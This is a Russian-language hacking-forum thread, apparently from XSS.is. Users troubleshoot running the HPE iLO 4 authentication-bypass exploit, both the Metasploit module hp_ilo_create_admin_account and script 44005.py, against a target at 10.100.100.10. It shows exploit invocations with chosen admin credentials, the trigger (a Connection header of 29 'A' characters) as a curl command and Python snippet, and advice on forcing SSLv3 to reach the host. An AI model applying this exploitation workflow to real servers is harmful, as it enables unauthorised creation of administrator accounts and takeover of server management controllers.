• XSS.stack #1 – первый литературный журнал от юзеров форума

HPE iLO 4 hp_ilo_create_admin_account

okihad

RAID-массив
Пользователь
Регистрация
21.01.2020
Сообщения
53
Реакции
38
Всем привет!

Имеется iLO 4 версии 1.30. В Metasploit нашел под старые версии прошивок такой модуль hp_ilo_create_admin_account. Пробую использовать - не работает.

msf5 auxiliary(admin/hp/hp_ilo_create_admin_account) > exploit
[*] Running module against 10.100.100.10

[*] Trying to create account admin111...
[-] Auxiliary aborted due to failure: unexpected-reply: Unknown error while creating the user. Response: 405
[*] Auxiliary module execution completed

Пробую проверить посредством curl - получаю такой ответ

root@kali:~# curl -k -i https://10.100.100.10/rest/v1/AccountService/Accounts
curl: (35) error:1425F102:SSL routines:ssl_choose_client_version:unsupported protocol

Может надо в Kali как-то включить TLS определенной версии (1.1, 1.2 или 1.3)? Если да, то как это в Kali делается?

Кто сталкивался с таким, подскажите пожалуйста!
 
Всем привет!

Имеется iLO 4 версии 1.30. В Metasploit нашел под старые версии прошивок такой модуль hp_ilo_create_admin_account. Пробую использовать - не работает.

msf5 auxiliary(admin/hp/hp_ilo_create_admin_account) > exploit
[*] Running module against 10.100.100.10

[*] Trying to create account admin111...
[-] Auxiliary aborted due to failure: unexpected-reply: Unknown error while creating the user. Response: 405
[*] Auxiliary module execution completed

Пробую проверить посредством curl - получаю такой ответ

root@kali:~# curl -k -i https://10.100.100.10/rest/v1/AccountService/Accounts
curl: (35) error:1425F102:SSL routines:ssl_choose_client_version:unsupported protocol

Может надо в Kali как-то включить TLS определенной версии (1.1, 1.2 или 1.3)? Если да, то как это в Kali делается?

Кто сталкивался с таким, подскажите пожалуйста!
не факт что вопрос в твоем кали.

версии можно задать, по-моему, в опциях курла. а версии либы на системе задаются устоновкой пакета с нужной версией
 
не факт что вопрос в твоем кали.

версии можно задать, по-моему, в опциях курла. а версии либы на системе задаются устоновкой пакета с нужной версией

Ваш ответ натолкнул на мысль проверить SSLScan-ом. У этого iLO включено SSLv3 и TLS1
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 enabled
TLSv1.0 enabled
TLSv1.1 disabled
TLSv1.2 disabled
TLSv1.3 disabled

А вот как поставить библиотеку OpenSSL с SSLv3 так и не понял.

У меня установлена такая версия
root@kali:~# sslscan --version
2.0.0-static
OpenSSL 1.1.1f-dev xx XXX xxxx
 
Ваш ответ натолкнул на мысль проверить SSLScan-ом. У этого iLO включено SSLv3 и TLS1
SSL/TLS Protocols:
SSLv2 disabled
SSLv3 enabled
TLSv1.0 enabled
TLSv1.1 disabled
TLSv1.2 disabled
TLSv1.3 disabled

А вот как поставить библиотеку OpenSSL с SSLv3 так и не понял.

У меня установлена такая версия
root@kali:~# sslscan --version
2.0.0-static
OpenSSL 1.1.1f-dev xx XXX xxxx
sslv3 - это уязвимый протокол и он отключен в стабильный билдах openssl

нужно собирать из сорцев c ключем -ssl3 или -sslv3 уже не помню.
либо, если мне не изменяет память, ставить с репозитория openssl-unsafe

проверьте подключившись непосредственно с помощью команды openssl hostname -ssl3 или что-то на подобе
 

Там-же и с шифрованием проще будет разобраться:
Python:
#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
 

Там-же и с шифрованием проще будет разобраться:
Python:
#all of the HP iLO interfaces run on HTTPS, but most of them are using self-signed SSL cert
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

Этот скрипт я видел. Он так же ругается на SSL.

root@kali:~/Desktop/Downloads# python3 44005.py -e -u adminilo -p adminilo 10.100.100.10
[-] Error! Could not connect to target 10.100.100.10, Reason: HTTPSConnectionPool(host='10.100.100.10', port=443): Max retries exceeded with url: /rest/v1/AccountService/Accounts (Caused by SSLError(SSLError("bad handshake: Error([('SSL routines', 'ssl_choose_client_version', 'unsupported protocol')])")))


openssl-unsafe

Установил. Не помогло. Все так же.

openssl hostname -ssl3
Не разобрался с этим. Не понял как к хосту подключиться. Пробовал по разному писать.
 
Этот скрипт я видел. Он так же ругается на SSL.

root@kali:~/Desktop/Downloads# python3 44005.py -e -u adminilo -p adminilo 10.100.100.10
[-] Error! Could not connect to target 10.100.100.10, Reason: HTTPSConnectionPool(host='10.100.100.10', port=443): Max retries exceeded with url: /rest/v1/AccountService/Accounts (Caused by SSLError(SSLError("bad handshake: Error([('SSL routines', 'ssl_choose_client_version', 'unsupported protocol')])")))




Установил. Не помогло. Все так же.


Не разобрался с этим. Не понял как к хосту подключиться. Пробовал по разному писать.

бля, ну вот же рецепт
 
бля, ну вот же рецепт
Ну что-же вы злой такой?

Проверил, openssl у меня поддерживает tls1. Подключаюсь к хосту с iLO.

root@kali:~# openssl s_client -connect 10.100.3.5:443 -tls1
CONNECTED(00000003)

Значит проблема не на моей стороне?
 
Ну что-же вы злой такой?

Проверил, openssl у меня поддерживает tls1. Подключаюсь к хосту с iLO.

root@kali:~# openssl s_client -connect 10.100.3.5:443 -tls1
CONNECTED(00000003)

Значит проблема не на моей стороне?
возможно, tls не подойдет для веб коммуникации?

я не злой, просто вы задали вопрос, и не хотите принимать на него ответ)
я бы на вашем месте собрал опенссл с поддеркой сслв3
 
я бы на вашем месте собрал опенссл с поддеркой сслв3

Попробовал. Не получается. Скрипт отрабатывает с ошибками. Ругается, что не может найти кучу директорий и файлов. Часть лога.
Код:
SSL_want_write.3 => SSL_want.3
SSL_want_x509_lookup.3 => SSL_want.3
installing man3/SSL_write.3
installing man3/d2i_SSL_SESSION.3
i2d_SSL_SESSION.3 => d2i_SSL_SESSION.3
installing man3/ssl.3
SSL.3 => ssl.3
created directory `pwd'
created directory `pwd/local'
created directory `pwd/local/bin'
created directory `pwd/local/lib'
created directory `pwd/local/lib/engines'
created directory `pwd/local/lib/pkgconfig'
created directory `pwd/local/include'
created directory `pwd/local/include/openssl'
making install in crypto...
make[1]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto'
cp: cannot create regular file 'pwd/local/include/openssl/crypto.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/crypto.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/opensslv.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/opensslv.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/opensslconf.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/opensslconf.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/ebcdic.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/ebcdic.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/symhacks.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/symhacks.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/ossl_typ.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/ossl_typ.h': No such file or directory
make[1]: [Makefile:118: install] Error 1 (ignored)
making install in crypto/objects...
make[2]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto/objects'
cp: cannot create regular file 'pwd/local/include/openssl/objects.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/objects.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/obj_mac.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/obj_mac.h': No such file or directory
make[2]: [Makefile:63: install] Error 1 (ignored)
make[2]: Leaving directory '/root/Downloads/openssl-1.0.2k/crypto/objects'
making install in crypto/md4...
make[2]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto/md4'
cp: cannot create regular file 'pwd/local/include/openssl/md4.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/md4.h': No such file or directory

Дополнительно поставил libssl-dev и заново попробовал собрать OpenSSL - не помогло, те же ошибки.
 
Последнее редактирование:
Попробовал. Не получается. Скрипт отрабатывает с ошибками. Ругается, что не может найти кучу директорий и файлов. Часть лога.
Код:
SSL_want_write.3 => SSL_want.3
SSL_want_x509_lookup.3 => SSL_want.3
installing man3/SSL_write.3
installing man3/d2i_SSL_SESSION.3
i2d_SSL_SESSION.3 => d2i_SSL_SESSION.3
installing man3/ssl.3
SSL.3 => ssl.3
created directory `pwd'
created directory `pwd/local'
created directory `pwd/local/bin'
created directory `pwd/local/lib'
created directory `pwd/local/lib/engines'
created directory `pwd/local/lib/pkgconfig'
created directory `pwd/local/include'
created directory `pwd/local/include/openssl'
making install in crypto...
make[1]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto'
cp: cannot create regular file 'pwd/local/include/openssl/crypto.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/crypto.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/opensslv.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/opensslv.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/opensslconf.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/opensslconf.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/ebcdic.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/ebcdic.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/symhacks.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/symhacks.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/ossl_typ.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/ossl_typ.h': No such file or directory
make[1]: [Makefile:118: install] Error 1 (ignored)
making install in crypto/objects...
make[2]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto/objects'
cp: cannot create regular file 'pwd/local/include/openssl/objects.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/objects.h': No such file or directory
cp: cannot create regular file 'pwd/local/include/openssl/obj_mac.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/obj_mac.h': No such file or directory
make[2]: [Makefile:63: install] Error 1 (ignored)
make[2]: Leaving directory '/root/Downloads/openssl-1.0.2k/crypto/objects'
making install in crypto/md4...
make[2]: Entering directory '/root/Downloads/openssl-1.0.2k/crypto/md4'
cp: cannot create regular file 'pwd/local/include/openssl/md4.h': No such file or directory
chmod: cannot access 'pwd/local/include/openssl/md4.h': No such file or directory

Дополнительно поставил libssl-dev и заново попробовал собрать OpenSSL - не помогло, те же ошибки.


created directory `pwd'
язык баш - это то, как общается с вами ваш терминал - воспринимает символы ` command ` как необходимость выполнить вложенную команду и использовать ее вывод в основной команде.

то бишь, если команда pwd возвращает вам /root
то команда ls `pwd`/.bashrc вернет вам /root/.bashrc

на сколько я понял, вы или как-то неправильно скопировали из браузера чей-то скрипт (такое бывает иногда, т.к. вебмастера меняют символы на другие, и из-за кодировок в терминал символы копируются не корректно), или сами допустили какую-то ошибку.

created directory `pwd' - это откровенно говоря не валидная команда.

Bash:
wget https://www.openssl.org/source/openssl-1.1.1g.tar.gz
mkdir build
build="./build"
prefix=`pwd`

gzip -dc ./openssl-*.tar.gz |(cd "$build" && tar xf -)
cd "$build"/openssl-*
./config --prefix="$prefix$build" no-shared
make
make install

что-то вроде этого нужно. подправить по своему умотрению.
 
у меня такую ошибку выдает ,
-] Error! Could not connect to target x.x.x.x, Reason: HTTPSConnectionPool(host='x.x.x.x', port=443): Max retries exceeded with url: /rest/v1/AccountService/Accounts (Caused by SSLError(SSLError(1, u'[SSL: SSLV3_ALERT_HANDSHAKE_FAILURE] sslv3 alert handshake failure (_ssl.c:727)'),))
как пофиксить ?
 
created directory `pwd' - это откровенно говоря не валидная команда.
Спасибо! Вы оказались правы. Действительно, дело было именно в различных знаках апострофов. Собрал библиотеку успешно. Теперь OpenSSL подключается к хосту по SSLv3.

Но Metasploit по-прежнему не отрабатывает. Ошибка та же:

Код:
[*] Running module against 10.100.100.10
[*] Trying to create account ilotest...
[-] Auxiliary aborted due to failure: unexpected-reply: Unknown error while creating the user. Response: 405
[*] Auxiliary module execution completed

Так же еще раз попробовал запустить скрипт, о котором ранее шла речь


Результат тот же. Та же ошибка:
Код:
root@kali:~/Downloads# python3 44005.py -e -u zaraza -p zaraza123 10.100.100.10
[-] Error! Server returned status code 405, data:

Подозреваю, что все таки хост не подвержен данной уязвимости.
 
Последнее редактирование:
[-] Error! Server returned status code 405, data:
Python:
    try:
        response = requests.post(url, json=body, headers = exploit_trigger, verify = False)
    except Exception as e:
        return False, 'Could not connect to target %s, Reason: %s' % (ip, str(e))

    if response.status_code in [requests.codes.ok, requests.codes.created]:
        return True, response.text
    else:
        return False, 'Server returned status code %d, data: %s' % (response.status_code, response.text)

попробуйте распечатать url, json, headers до вызова requests.post()

что в них содержится?
попробуйте сконструировать подобный запрос через тот-же curl или, лучше конечно для этих дел, burpsuite
 
лучше конечно для этих дел, burpsuite
burpsuite имеется, но если честно, то не понял, как это сделать.

Попробовал с помощью curl просто обратиться на URL добавляя 29 символов "А". Именно так работает exploit, как я понял.
Python:
exploit_trigger = {'Connection' : 'A'*29}
accounts_url = 'https://%s/rest/v1/AccountService/Accounts'

Код:
curl -k -i -H "Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA" https://10.100.100.10/rest/v1/AccountService/Accounts

HTTP/1.1 404 Not Found
Content-Type: text/html
Date: Wed, 16 Sep 2020 23:02:10 GMT
Server: HP-iLO-Server/1.30
Content-Length: 0

Странно, но iLO вернула 404.
 
но если честно, то не понял, как это сделать.
в случаее с распечаткой содержимого переменных - добавить print(url + " " +json + " " + headers) в код сплоита перед отправкой зароса и посмотреть что вернет скрипт

в случае с бурпом - запустить сплоит так, что бы он образался в инет через бурп, как через прокси
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх